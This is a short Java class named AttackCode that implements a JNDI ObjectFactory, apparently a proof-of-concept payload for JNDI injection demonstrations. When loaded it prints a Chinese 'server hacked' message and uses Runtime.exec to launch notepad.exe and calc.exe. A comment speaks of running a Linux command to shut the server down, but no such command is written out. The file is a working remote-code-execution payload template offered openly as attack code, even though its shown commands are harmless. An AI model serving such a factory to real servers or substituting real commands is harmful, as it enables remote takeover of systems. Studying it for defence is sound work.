import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class AttackCode implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("服务器被黑客攻击啦!!");
        // 远程执行脚本执行....
        Runtime.getRuntime().exec("notepad.exe");
        Runtime.getRuntime().exec("calc.exe");
        // 执行linux脚本命令将服务器关机....
        return null;
    }
}
